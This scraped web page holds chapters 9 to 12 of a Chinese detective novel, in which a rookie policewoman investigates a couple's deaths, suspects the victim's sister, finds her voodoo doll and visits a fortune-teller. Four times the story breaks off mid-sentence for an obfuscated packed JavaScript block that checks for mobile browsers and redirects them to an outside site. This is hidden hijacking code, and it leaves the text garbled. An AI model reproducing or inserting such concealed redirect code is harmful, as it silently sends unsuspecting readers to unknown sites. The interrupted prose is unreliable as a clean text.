d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925825|160495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“什么过节?”桑落小声问道。 谢灵儿也小声说:“不知道,总之单位里的老一辈都讳莫如深,你也别问了。” 桑落点点头,心里还是有点纳闷,既然单位明知道他们两人不对付,为什么还是要把他们两个放在同一支队伍里呢? 过了一会,马识途回到办公室,对大家点了点头:“他同意了,灵儿,你现在写一份申请,我立即让领导们签字,然后你带着物证和小虎一起去市局做检测,要抓紧时间。” 看来,经过一番争执,最终还是师父占了上风。 得到廖队的同意,谢灵儿松了一口气,回到自己的办公桌前开始写申请,桑落灵机一动,对马识途说道: “还有指纹,师父,把那把刀子也带去,检测一下上面的指纹!” 既然做DNA检测如此费劲,那么指纹鉴定估计也是同理,趁着他们去市局,顺便把指纹鉴定也给做了,那把刀是凶器,上面一定会留有杀人者的指纹,如果刀上面的指纹与女尸的指纹不相符,那就更能验证桑落的猜想了。 马识途点头,嘱咐谢灵儿把这段内容加上,谢灵儿飞快地写完了申请,马识途拿着申请出了门,一番周旋过后,他再次回到了办公室,纸上已经有了廖队和局长的签字盖章。 谢灵儿和袁小虎不敢耽误,两人立刻动身前往市里,为了保护物证,此次鉴定必须两人同行,桑落留下等待消息。 看到桑落一脸期待的模样,马识途说道:“你也别太着急,结果不是马上就能出来的,他们两人往返市里的路程,再加上等待的时间,今天下午下班之前能回来都算是万幸了。” 既然需要等待一天,桑落可不愿意白白浪费这一天的时间,趁现在只有自己和师父两个人,她大胆说出了自己的想法: “师父,我觉得我们的眼前就有一位嫌疑人。” “哦?”马识途很意外,“你说说。” 桑落分析了起来:“如果我的假设成立,杀人者是另一名女子,该女子杀人后进入粮油家属楼,找了个借口敲开沈雪遥的家门,杀死沈雪遥,将其伪装成畏罪自杀的样子,随后自己乔装打扮,离开粮油家属楼,那么有一点很重要——这个人必须是沈雪遥的熟人。” “当时我们三人一起出现场,我们都看到了,现场的门很牢固,门锁没有遭到破坏的痕迹,说明沈雪遥是自愿打开门的,之前灵儿也询问过沈雪遥的大学同学,大家都说她性格孤僻,没有朋友,待人冷漠,这样的一个人,不会轻易在大晚上给陌生人开门,能够让她开门,说明来者大概率是她的熟人。” “沈雪遥家里是农村的,她住在白云县就是为了订婚,可以说她在白云县的熟人只有杜凌风一家,那天晚上来敲门的,可能就是杜家的人——” 9. 情侣吵架杀人案(9) “你是说,杜美真?” 桑落还没说完,马识途就接过了她的话,杜家的女人只有杜妈妈和杜美真,杜妈妈年龄大了,身材矮小臃肿,无论如何也不符合目击证人的口供,倒是杜美真的身材与沈雪遥相差不多,两人都是年轻女子,长相靓丽,都是长发,如果只看背影,说不定还真有人会把她们俩弄混。 “不错,”桑落挑起眉,“如果是未来的小姑子来敲门,沈雪遥总要开门的。” 马识途喝了口茶水:“杜美真今年才十八岁,高中刚毕业,据父母说,她和她哥哥感情很好,她有什么理由要杀了自己的哥哥呢?她一个小姑娘,有这样的力气和手段吗?” “她的目的并不是杀了自己的哥哥,”桑落纠正道,“别忘了,当晚那名女子是误杀了杜凌风,是杜凌风先拿起刀子想杀人,女子才自保反击的,大概杜美真也没想到事情会闹成这样,她原本的计划应该是想杀死沈雪遥,自己未来的嫂子。” “她的杀人动机是什么?”马识途问。 桑落沉着地说:“杜家人来认尸的时候,杜美真说了大量沈雪遥的坏话,尽管我们和杜美真接触的时间不长,但是我能感受到杜美真对沈雪遥有一种很大的恶意,她极其讨厌这个未来的嫂子,想要把她赶出自己的家庭。” “哦,”马识途感叹道,“多子女家庭就是这样,有些小姑子喜欢像婆婆一样欺负新媳妇,老话都说多个姑子就是多个婆。” 桑落摇摇头:“不是这样,杜美真对沈雪遥,应该是一种更加复杂的感情——” 说到这里,桑落停顿了一下:“但是我现在没有证据,师父,我想再和杜美真聊聊。” 马识途欣然同意,没过一会,杜家人就被以配合调查的名义传唤来了公安局,在审讯室里,桑落再次见到了杜家三人,他们一个个肿着眼睛,显然是从认尸后一直哭到了现在,这份伤心不是装出来的。 桑落请杜美真在外等候,先和杜家夫妇单独聊了聊,杜春生上来就说:“这案子不是已经有结果了吗,还叫我们过来干什么?我倒要问问你,那个女人的家属去哪了?我要见她的家属!” 桑落据实相告:“女方的家属拒绝来认尸,如果你想做什么的话,我劝你还是提早收手吧,杜先生,这是一个法治社会——” 杜春生狂躁地跳了起来:“去你XX的,我儿子都死了,老子还管什么法治?沈家一家人都是属王八的,躲起来当缩头乌龟,算他们走运,如果让我碰见了,我一刀一个,砍下他们的脑袋来祭奠我儿子!谁让他们养出这样狼心狗肺的女儿!” 马识途咳了一声:“杜春生,别忘了你还有个女儿,如果你坐牢了,你的女儿怎么办?” 一提到女儿,杜春生立马安静了下来,但是依然眉心紧皱,一脸怒气,看他这个样子是问不出什么了,好在杜妈妈还存有理智,能够进行正常的问话。 “你认为杜凌风和杜美真的关系怎么样?”桑落率先发问。 杜妈妈似乎对这个问题很意外:“啊,这还用说吗?当然是很好了,好得不得了!这两个孩子相差四岁,凌风这个做哥哥的一直很让着妹妹,有什么吃的玩的都是先给妹妹,简直比美真的爸爸还宠她,凌风上大学以前,他们俩时时刻刻都粘在一起,像一对连体婴儿一样,他们直到凌风上大学才分开,说起来,凌风真的是个好孩子,只可惜……呜呜呜……” “杜美真目前在哪里读书。”桑落问出下一个问题。 杜妈妈摇摇头:“这孩子学习很差,没考上什么学校,我们也就不打算让她读了,将来继承她爸爸的生意也好,她今年夏天刚刚高中毕业,打算放松一段时间,所以平时没什么事干,主要就是和朋友一起出去玩。” “她的朋友是男性女性?”桑落问道。 杜妈妈:“女的,两个女孩,她的朋友我认识,都来家里吃过饭的。” “她有男朋友吗,或者是喜欢的男孩?”桑落看似随意地问道,“你知道的,在她这个年龄,这是很正常的。” 杜妈妈立刻说:“那不会的,她这个孩子特别老实本分,和男生绝不越界,别说交朋友了,她连看都不看男生一眼。” “既然为人老实,为什么又会去偷看她哥哥和女朋友的信件呢?”桑落反问道。 “你这话是什么意思啊?你不是在调查凌风的案子吗,怎么一直打听我们美真的事情?”母亲的直觉让杜妈妈变得警觉起来,她立刻维护起自己的孩子,“美真只是好奇而已啊,你难道没有八卦的时候吗?她才那么小,做错事怎么了?” 桑落也不兜圈子了,直接了当地问:“案发那天晚上,杜凌风独自外出,你在家里做饭,杜春生在外地进货,那杜美真呢,她在做什么?” 杜妈妈顿时愤怒起来:“你在说什么啊?你该不会觉得是妹妹杀了自己的哥哥吧?我真不知道你这个人脑子是怎么长的,哪有妹妹会杀自己的亲哥哥哦,两个人感情那么好——” 说到这里,杜妈妈整个人愣了一下,脸上的表情极不自然,显然有件事过了她的脑子,但在几秒钟后她的神色就恢复了正常,她强装镇定,坐直身子回答道: “那天晚上,美真和我一起待在家里,哪里都没去,我们吃过晚饭后就睡下了。” 马识途看出她的破绽,拍桌子强调道:“不要作伪证,作伪证是要负法律责任的!” 杜妈妈把刚才的话重复了一遍,并且强调道:“事实就是这样,我可以为自己的话负责。” 桑落又问:“那天晚上,你做的是什么晚饭?” 杜妈妈如实回答:“茄子炒肉,小米南瓜粥,剩菜还在冰箱里,你不信的话可以去看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925826|160495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我这两天都难过得没吃东西。” 眼看没什么可问的了,桑落就把杜美真请了进来,杜美真一开始还兴致勃勃地坐在椅子上,以为能像上次一样说沈雪遥的坏话,没想到桑落开口就问: “案发那天晚上,你去了哪里?” 一听到这句话,杜美真就像被雷劈了一样,整个人都蔫了,她不安地坐在椅子上,眼神四处乱转,沉默了好一会后,她才勉强说出一句: “那天晚上……呃,我在家里,和妈妈在一起。” “那天晚上的晚饭是什么?”桑落把刚才的问题又问了一遍。 杜美真傻了,显然没想到桑落会这么问,她左思右想,最后试探性地说:“西红柿炒蛋?” 一看桑落和马识途的脸色,杜美真就知道自己猜错了,她耍无赖似的闹起来: “都过去这么久了,谁还记得晚饭吃的什么?你们警方这么问分明就是刁难人!放我出去,我要告诉我爸妈!” 桑落直接说道:“那天晚上你根本不在家里,你去哪了?” 杜美真闭住眼睛,像个拨浪鼓一样摇着头,嘴里只顾喊着:“不知道,我什么都不知道,我要回家!” 由于她极度不配合,审讯只能就此中断,无法通过审讯得知杜美真当晚到底去了哪里,但是桑落认为她身上有重大嫌疑,马识途也觉得这是一个调查方向。 审讯陷入僵局,马识途到走廊里抽了根烟,桑落也跟着到窗边吹吹风,一阵风吹来,桑落忽然灵光一闪:“师父,我有一个主意!” “什么?”马识途回头问道。 桑落:“既然杜美真喊着要回家,那我们就带她回家——我们去杜家搜查一下。” 既然人不肯开口,那就只能寄希望于物证了。 马识途欣然同意,很快就从局里申请到了搜查令,两人带着搜查令来到了杜家,在杜美真的眼皮子底下开始了地毯式搜查。 两人重点搜查了杜美真的卧室,她的卧室布置很温馨,里面摆着不少可爱的装饰,看得出她的家人都很宠爱她。 桑落首先在杜美真的床下找到了一双黑色运动鞋,鞋底很脏,有许多灰烬,还夹杂着一些金色颗粒。 看到这双鞋,桑落立刻让杜美真脱下她脚上穿着的鞋子,杜美真不情不愿地脱下了,这是一双白色运动鞋,桑落观察了一下鞋底,鞋底很干净,还有一股新鞋的味道,大概才穿了一两天。 “你这双白鞋是今天早上才换上的,”桑落指着两双鞋说道,“案发那天晚上,你穿的是这双黑鞋,对吗?” 杜美真噘起嘴不说话,她脸上的表情说明桑落猜对了。 桑落再次拿起黑鞋的鞋底观察,上面的灰烬是灰白色的,似乎只有上坟烧纸的时候才会产生这种灰烬,难道案发那天晚上,杜美真是去坟地了? 10. 情侣吵架杀人案(10) 桑落收起了自己的猜测,继续搜索屋里的其他地方,这期间她一直用余光注意着杜美真的表情,桑落注意到,当她走向床头时,杜美真脸上的表情格外紧张。 桑落立马来到床头,检查起了床头的每一件东西,床垫和床单下面都没有东西,枕头是荞麦皮枕头,桑落拆开看过了,里面也没有藏着什么,床头还摆着一些报纸和杂志,上面有一位当红明星的报道,桑落仔细翻看了一下,没在上面找到什么有用信息,看来只是小女孩在追星罢了。 翻来翻去,床头只剩下一个玩具熊,桑落离那个玩具熊越近,杜美真脸上的表情就越紧张,桑落毫不犹豫地拿起玩具熊,从头到尾看了一遍,果然在熊的屁股上找到一条细细的拉链,她拉开拉链,把手伸进棉花里,在里面掏了掏,指尖忽然就被什么东西扎了一下。 桑落惊呼一声,师父立刻关心地走了过来,杜家夫妇也凑了过来,杜美真脸上一副完蛋了的表情,桑落再次小心地把手伸进去,用力把熊肚子里的东西掏了出来,那竟然是一个浑身焦黑的布娃娃,身上几个部位还被扎了针。 桑落一眼就看出这东西是个巫毒娃娃,用来诅咒人的,不过她很好奇,杜美真怎么会把这个东西藏在自己床头? 桑落感觉玩具熊肚子里还有东西,她又用力掏了掏,掏出半张照片,照片边缘有撕扯的痕迹,上面的人正是沈雪遥,沈雪遥笑盈盈的,肤白胜雪,似乎在用胳膊挽着什么人。 杜妈妈十分震惊,指着照片说道:“诶,这不是你哥哥以前随信给我们寄回来的照片吗?我一直都收在抽屉里,不知道为什么突然就丢了,真真啊,怎么在你这里啊,而且你、你怎么把照片给撕了呀?” 杜美真满脸羞红,说不出话,桑落把手上的两样东西组合到一起,发现照片和巫毒娃娃的尺寸刚好一致,沈雪遥的照片可以盖在巫毒娃娃身上,而那些针恰好刺向沈雪遥的五官。 所有人都感受到了寒意,桑落说:“明白了,这张照片是你哥哥寄回来给家人看的,他和女朋友的合影,你偷了这张照片,把沈雪遥的部分撕下来,贴在了巫毒小人身上,然后用针扎小人,希望能咒死沈雪遥。” 杜妈妈倒吸一口冷气:“天啊,真真,你怎么会做这种事?你一向都很乖巧,而且你哥哥带她回来见家长的时候,你也表现得很有礼貌,你们两个相处得很好啊,为什么——” “那是我装的,都是装的!”眼看事情瞒不下去,杜美真恼羞成怒,说了真心话,“我根本就一点都不喜欢那个女人,我讨厌死她了!以前哥哥是最宠我的,但是有了她以后,哥哥连个电话都不给我打,是她抢走了我的一切,我恨她,恨不得她去死啊!” 杜妈妈的眼中流露出惊恐,她连连后退:“难道……难道你真的杀了……” 杜美真捂着耳朵尖叫起来:“我没有,我怎么可能杀了我哥哥!怎么连你也不相信我?” “所以,杜太太,你做了伪证,案发那天晚上杜美真并不在家,对吗?”桑落在一旁冷眼看着。 杜妈妈低头不语,她脸上的表情已经说明了一切。 找到切入点之后,桑落立刻把杜家三人带回了审讯室,这一次,面对警方,杜妈妈说出了实话: “那天晚上凌风七点出的门,我的晚饭刚做好,他一口都没吃就走了,我有些失望,转头去喊美真吃晚饭,竟然发现她的房间里没人,她不知道什么时候出门了,也没跟我说一声,不过她平时一向喜欢出去玩,我也没有多想。” “后来她晚上九点才回来,表现得很心虚,身上还有股怪味,像是……” 杜妈妈形容不上来,桑落提示道:“是不是像上坟烧纸的味道?” 杜妈妈连忙点头:“对对对,就是那个味道,我问她去哪里了,她也不肯说,鬼鬼祟祟的,我还以为她出去约会了,毕竟这个年龄嘛,谁都有自己的秘密,我就没追问,后来凌风一夜没回来,我第二天才知道他出事了……” 杜妈妈说着说着又哭了,桑落不得不转移话题:“杜凌风自从恋爱之后就对杜美真的态度变化很大?” 杜妈妈回忆了一下:“没错,他恋爱以后很投入,整个人着了魔似的,他不理妹妹,也不太搭理我们,给家里连电话都不打一个,不过这其实没什么,恋爱嘛,都是这样的,我们大人可以理解,美真还是个小孩子,想法太狭隘,理解不了,不过我相信美真这孩子本质不坏,她绝对不会杀人的!” 审讯结束后,桑落和师父总结了一下目前已知的信息,杜美真这个女孩看上去乖巧可爱,实际上心理有些阴暗,她对自己的哥哥有种病态的依赖,用现代的话来说,她是一个“病娇”。 这就可以解释她为什么要偷看哥哥的信件,这不是简单的出于八卦,而是一种“吃醋”的行为。 师父缓缓点头:“所以她的母亲说她从不和异性来往,或许,在她心里已经有了喜欢的对象,那就是她的哥哥。” 桑落继续分析,杜凌风恋爱后不再像以前一样对杜美真那么好,杜美真产生了极大的心理落差,她把这一切都怪罪于沈雪遥,她认为是沈雪遥抢走了自己的哥哥,她把沈雪遥当做敌人,还制作了诅咒小人,想要诅咒沈雪遥去死,从这一点来看,杜美真有充分的杀人动机。 马识途说:“你认为那天晚上和杜凌风吵架打架, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925827|160495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最终失手杀了杜凌风的女人,就是杜美真?” “很有可能,”桑落强调道,“上午的审讯中我注意到杜美真留着长指甲,她可以给杜凌风造成很深的伤痕,而且杜美真就住在杜凌风的隔壁房间,她可以偷听到两人的约会时间。” “杜凌风和沈雪遥曾经吵架分开过,这两人分手,最高兴的应该是杜美真,在案发那天晚上,杜凌风给沈雪遥打电话约见,两人要进行最后一次谈话,杜美真偷听到了这个消息,为了防止两人复合,她决定痛下杀手。” 桑落展开设想:“杜美真先是给沈雪遥打电话,谎称约会取消了,让沈雪遥在家别出门,随后她自己假扮成沈雪遥的样子,来到约会地点和杜凌风见面。” “在杜美真原本的计划里,她会和杜凌风大吵一架,然后两人分开,杜美真回到沈雪遥居住的粮油家属楼,敲开她的家门,然后威胁沈雪遥和自己互换衣服,再用某种方法把沈雪遥吊在电扇上,最后她乔装打扮,离开了粮油家属楼。” “这样一来,就算人们发现了沈雪遥的尸体,也只会觉得她是和男友吵架后负气自杀,没有人会联想到凶杀,更不会有人报案,警方也根本不会介入调查。” “对于杜美真来说,这是最好的结局,她除掉了那个碍眼的女人,哥哥恢复了单身,还会像以前一样宠爱她。” “从动机上讲,这样说得通,但是如果要实际操作,”马识途皱起眉头,“简直处处都是问题。” “杜凌风约好和女友见面,结果来的却是自己的妹妹,他怎么可能连自己的妹妹都认不出来?” “他喝了酒!”桑落解释道,“根据卖水果的小贩说,当晚他看到杜凌风醉醺醺的,杜凌风在晚上七点出门,八点多才到约会地点,中间的一个小时他应该是去喝酒了,他是喝醉后赴约的。” “他喝醉之后可能神志不清,把对方当成了自己的女友,正好两个女人身材和背影都很接近,我们老家那边有句话——喝了半斤,不认熟人;喝了一斤,男女不分;喝了两斤,人畜不分!” “好吧,”马识途迟疑地叹了口气,“就算是杜凌风和路人全都看错了,把杜美真看成了沈雪遥,你知道之后的步骤有多难实施吗?” “杜美真要吊死沈雪遥,可沈雪遥也不傻,她是一个大活人,会动会挣扎,”马识途做了一个扛东西的动作,“要把一个大活人扛起来,爬上椅子,再把人吊到绳子上,这需要巨大的力气,即使是咱们这里最壮的汉子也不一定能做到,更何况是杜美真这种身材纤细的女孩呢?” “会不会是有帮凶?”桑落突发奇想,“或许这起案子,不止一个凶手。” 11. 情侣吵架杀人案(11) “杜美真可以雇一个男人提前埋伏在楼道里,等沈雪遥开门后冲进去,两人配合一起把她杀死,然后吊到风扇上,造成她上吊自杀的假象,”桑落振振有词地分析道,“杜家经济富裕,又很宠这个女儿,杜美真手里应该有不少零花钱。” 马识途摇了摇头:“如果是你说的这样,沈雪遥也会挣扎反抗,她身上应该有打斗伤,但是验尸报告你也看过了,她身上除了勒痕没有其他伤口,况且距离案发到我们抵达家属楼也没有多久,杜美真有时间做完这些事情吗?” “这……”桑落愣住了,她不得不承认师父问得有道理,制服一个人,杀死对方,再把她吊到风扇上是需要不少时间的,而此案里凶手的时间显然不够。 “桑落,破案需要想象力,但也不能完全依靠想象,”马识途提醒道,“物证和口供才是最关键的,眼下最要紧的是对杜美真的审讯,审讯尚未完成,不能得出结论。” 桑落连连点头,承认自己有些太想当然了,此时正好到了午饭时间,食堂开饭了,两人只好先去吃饭,饭后再审杜美真。 打好饭以后,桑落端着饭盒在食堂里环顾一圈,食堂依旧坐得满满当当,只有法医白冰心身旁的座位是空的,正好桑落有问题想问,就拿着筷子坐到了白冰心身边。 看到有人在自己旁边坐下,白冰心似乎有些惊讶,她淡定地扫了一眼桑落,发现是个新面孔,就问道: “你是新来的女刑警?考第一那个?” 桑落也不谦虚,大方承认了:“没错,你好,我叫桑落。” 白冰心点点头:“听说你是专门报了刑警岗位?有这个实力明明可以去考县政府的。” “那可不行,破案是我的理想!”桑落拍拍胸脯。 白冰心淡淡笑了,眼里流露出欣赏:“你简直和我刚入职的时候一模一样。” 没有过多寒暄,桑落很快就直奔主题:“冰心姐,我想问你几个问题,是关于两天前那起情侣吵架杀人案的,我记得那两具尸体是你解剖的。” 一提案子,白冰心立刻认真起来,她放下手里的筷子,期待地看着桑落:“问吧,什么问题?” 桑落把自己的假设又说了一遍,最后问道:“如果是杜美真和陌生男子掐死或者勒死沈雪遥,然后把她的尸体挂上去,有没有这种可能?” “绝无可能,”白冰心立刻回答,“两个人要把她吊上去,力量是足够了,但是有一点你可能不清楚——被勒死和上吊的痕迹是不一样的。” “无论你用绳子勒还是用手掐死一个人,对方的脖颈上都会留下一圈完整的痕迹,”白冰心用手比划了一下,“但如果是用绳子上吊,只有前颈会留下痕迹,伤痕面积不一样。” “哦,”桑落听懂了,“如果被人勒死,会留下三百六十度的伤痕,但是上吊只有一百八十度。” “可以这么说,”白冰心点点头,“总之我能肯定沈雪遥百分之一百是上吊自杀,你说的那些诡计瞒不过法医的眼睛,我们法医又不是吃白饭的。” 桑落又说:“如果杜美真给沈雪遥服用了安眠药,等她昏迷之后再把她挂到绳子上,这样也可以造成她上吊自杀的假象。” 白冰心笑了:“怎么可能?尸检报告你应该看过,没有在女死者血液里发现安眠药成分。” 桑落低下头重新思考起来,沈雪遥是上吊自杀,那么自己之前的假设就被推翻了,她不是凶手,为什么要主动上吊自杀,难道是现场有人胁迫了她? 桑落脑海中又浮现出另一幅画面:杜美真用某个秘密威胁着沈雪遥,沈雪遥迫不得已,含泪自杀了…… 忽然,师父的话在桑落脑中响起,空想是无用的,要结合现实,尽快对杜美真进行审讯,或许审讯之后,一切就都水落石出了。 想到这里,桑落匆匆几口扒完了饭,抓紧时间回到审讯室,开始了对杜美真的审讯。 师父坐在桑落的身旁,但他没有开口说话,显然是想给桑落一个锻炼的机会,于是桑落厉声道: “杜美真,案发那天晚上,你到底去了哪里?” 为了震慑住杜美真,桑落特意摆出一副很凶的表情,没想到一下子把杜美真给吓哭了,她哭喊着说:“我在高奶奶那里,她是个跳大神的,就住在南风街17号,你们不信可以去问她!” 没想到杜美真一下子就招了,桑落和师父都很意外,桑落又问:“你找她干什么?” 杜美真哭着说:“我……我找她扎小人,我恨沈雪遥,想找个方法除掉她,但是我又不敢干犯罪的事,所以我左思右想,决定用点特别的手段。” 桑落:“特别的手段,就是指封建迷信?” 杜美真不好意思地点头:“我把我的烦恼告诉了朋友们,朋友芳芳告诉我,她就住在南风街上,那条街有个高奶奶很灵验,高奶奶是从南方来的,会一些民间法术,最擅长诅咒别人,据说特别灵验,去找过她的人全都如愿以偿了,我就想去试试。” “结果呢?”桑落问。 杜美真回忆道:“结果……居然真的很灵验,我找到高奶奶以后,她说她有几种法术,其中最低级的叫踩小人,最高级的叫扎小人,越高级的法术就越贵,当然,效果也越好。” “我不想花太多钱,就买了最低级的踩小人,她给了我一张纸,让我在上面写出讨厌的人的名字,我写下沈雪遥三个字,然后她把那张纸剪成了人形,在上面踩啊踩,又念叨了一通,这才算是结束施法。” “本来我也没抱多大希望,可是,就在那天晚上,我哥哥突然出去了,说是要给沈雪遥一个惊喜——”杜美真说着,脸上露出一丝窃喜,“他回来之后就像是变了一个人似的,一点都不迷恋沈雪遥了,非常讨厌她,还说要和她分手。” 听到这里,桑落脸上露出一丝迷惑,这玩意居然真的有用? 杜美真沾沾自喜地说:“当时可给我高兴坏了,我不费吹灰之力就让这个女人滚出了我的家,以后哥哥又是我一个人的了,我本来以为事情就到此结束了——” 杜美真脸上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925828|160495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表情由晴转阴:“可是过了两天,我哥哥居然还不死心,他居然又给那个女人打了电话,要约她见一面!” 桑落打断她:“这是你偷听到的?” 杜美真承认了:“对,这是我特意趴在他房门前偷听到的,他没发现,我就这样怎么了?我就是要偷听他的电话,偷看他的信件,他是我哥哥,是属于我一个人的!” “打住!”桑落可不想和她纠缠这些情感问题,“说回正题,你偷听到他们要约见,然后呢?” 杜美真掐着大腿说:“我很着急,我好不容易才夺回哥哥,我不想再失去他了,他们这次见面,万一那个女人撒撒娇,我哥哥又心软了怎么办?万一他们又复合了怎么办?” “所以你杀了他们?”桑落想诈杜美真一下。 杜美真立马反驳:“怎么可能?我只是想要那个女人死,又不是想要我哥哥死!再、再说了,我根本没有这个胆量,我平时连和人打架都不敢,我只能去找高奶奶。” “听到这个电话之后,我立马就出门去南风街找高奶奶了,这一次我要买一场更厉害的法术,让他们两人彻底不能复合!” “到了地方之后,我直接买了最高级的扎小人仪式,高奶奶给我扎了一个小人,还贴上了沈雪遥的照片,就是你在我房间里找出来的那个,她要求我把小人摆在家里的正东方位,我当然不能光明正大地摆,所以就塞在了玩具熊里,没想到还是被你给发现了。” “哥哥死后我太过伤心,忘了把那玩意丢掉,可惜了,要是早些丢掉,你们就查不出来了。” “你说事发那晚你在南风街,你有证人吗?”桑落问。 杜美真底气十足:“当然有,是我的两个朋友阿珍和芳芳陪着我去的,我们三个干什么都一起去,从来没有分开过,而且高奶奶也说了,踩小人,去踩的人越多越管用!” 桑落心里一沉,看来自己完全错了,她随即问道:“既然你和本案完全无关,那当初问你的时候,你怎么不早说?” 杜美真一脸无辜:“我当然不能说了,我平时在父母眼里那么乖,现在让他们知道我做这种事,他们会怎么看我?街坊邻居会怎么看我?” 马识途一脸无奈:“你这是为了你自己的面子,耽误警方的调查进度啊!” “其实我最担心的是我爸妈会怨恨我,”杜美真想到什么,脸色变得失落,“都怪我这次法术做得太大了,非要去扎什么小人,把哥哥给害死了,其实我本意只是想咒那个女人死,没想到愿望竟然是以这种方式实现的,哥哥死了,那个女人也死了……” “是我把哥哥害死的,我扎小人误伤了哥哥,现在好了,他们是不会再复合了,但是哥哥也回不来了……” “你这是封建迷信!”马识途看不下去,开始了对杜美真的批评教育。 桑落独自在一旁翻着桌上的笔录,心里忽然又有了新想法,按照杜美真所说,她每次去找高奶奶施法,杜凌风和沈雪遥身上都会发生倒霉的事,这其中会不会有什么关联? 12. 情侣吵架杀人案(12) 审讯结束后,桑落请马识途回避,自己检查了一下杜美真的背部,那晚杜凌风与杀人女子打架,在打斗过程中他曾经反复踹过对方的背部,如果杜美真是那晚的女子,那么她背上应该会有淤青。 杜美真脱下衣服,转过身去,她的背部光洁如玉,完全没有扭打痕迹。 桑落错了。 桑落闭上眼睛,一股挫败感袭来,她努力呼吸平复着心情,终于接受了现实。 为了验证杜美真的话,桑落传唤了她的两位好友,两人的口供和杜美真一致,案发当晚她们陪着杜美真去找了高奶奶,还做了一场法事,整晚的时间三人都在一起,杜美真根本没时间作案。 桑落查看了这两人的鞋底,两人鞋底都有烧纸的灰烬和金色颗粒,和杜美真卧室里发现的那双黑色运动鞋一样。 现在只要审讯一下这个高奶奶,基本就可以排除杜美真的嫌疑了,在传唤高奶奶之前,桑落说出了自己的新想法: “会不会是这个神婆为了维护自己的声誉,偷偷替客户动手杀人?” 桑落以前在现代看过这样一起新闻,一个算命先生算出自己的客户必有血光之灾,为了证明自己的预言灵验,算命先生偷偷躲在客户回家的必经之路上,用板砖砸伤了客户。 马识途面露迟疑:“案发当晚神婆在为她们做扎小人的法事,她本人也是有不在场证明的,况且杜美真只是在纸上写下沈雪遥的名字,神婆怎么能根据一个名字就知道沈雪遥的地址呢?她又是怎么知道两人的约会时间呢?” 尽管这个设想为真的可能性不大,不过为了不打击新人的积极性,马识途还是选择陪着桑落调查,为了不打草惊蛇,他们没有直接传唤高奶奶,而是换了一身便装,决定亲自去南风街见一见这位神婆。 “是你们要找我?”一个颤颤巍巍的老太太打开了门,她头发花白,模样估计有七八十了。 看到老人的模样,桑落就心凉了半截,这个年龄还能作案的可能性实在太小了。 “是啊,”马识途一脸诚恳地拍了拍桑落,“我和我女儿,都是熟人介绍来的,想请你帮我们。” 老太太依然十分警惕:“哪位熟人啊?” 马识途立刻把芳芳的名字说了出来,一听到是街坊邻居介绍的,老太太顿时放心了下来,让两人走进了屋里。 这是一栋沿街的平房,老太太带他们走过厨房、客厅、卧室,最后走到了尽头一间紧锁着的小屋门前。 “嘘!”老太太对他们比了个手势,从自己的裤腰上摸出一枚钥匙,颤颤巍巍地打开了屋门,门一打开,一股烧纸灰的味道立刻扑面而来。 进屋以后,桑落倒吸一口凉气,只见小屋拉着窗帘,光线昏暗,四面墙上挂满了大小不一的小人,这些小人没有眼睛,屋里却仿佛有无数双眼睛看着他们,桑落站在屋子中央。一股惊悚感油然而生。 “瞧瞧,这些都是我亲手用麻绳缠的,别轻易碰它们,灵验得很!”高奶奶骄傲地介绍道。 马识途见多了世面,才不会被这些东西吓到,他敷衍地夸赞了几句,得到他的赞叹后,高奶奶心满意足地点燃了一支烟,把烟插在香炉里,然后转身对两人说道: “说吧,什么事?” 马识途随机应变,编出了一套说辞:“是这样,我女儿被坏人给骗了,她谈了一个男朋友,带回家来见我们,那个男人在我们家住了几天,忽然把所有现金都偷走了,人也消失了,我女儿伤心坏了,现在我们只想请神仙开眼,好好惩罚一下这个贱男人!” “哦,是这么回事,”高奶奶点点头,表示知道了,随后她又神秘地说:“这个男人自种孽果,上天自会惩罚他的,不过,不知道你们想请的是哪一种天意呢?” 桑落和马识途对视一眼,猜到这老太太是想要钱了,果然,高奶奶开口介绍起了不同项目的价格,最便宜的是打小人,最贵的则是扎小人。 桑落做出了和杜美真那晚一样的选择,她想看看之后会发生什么事:“我要扎小人,给我狠狠地扎,不管多少钱,我都要他死!” 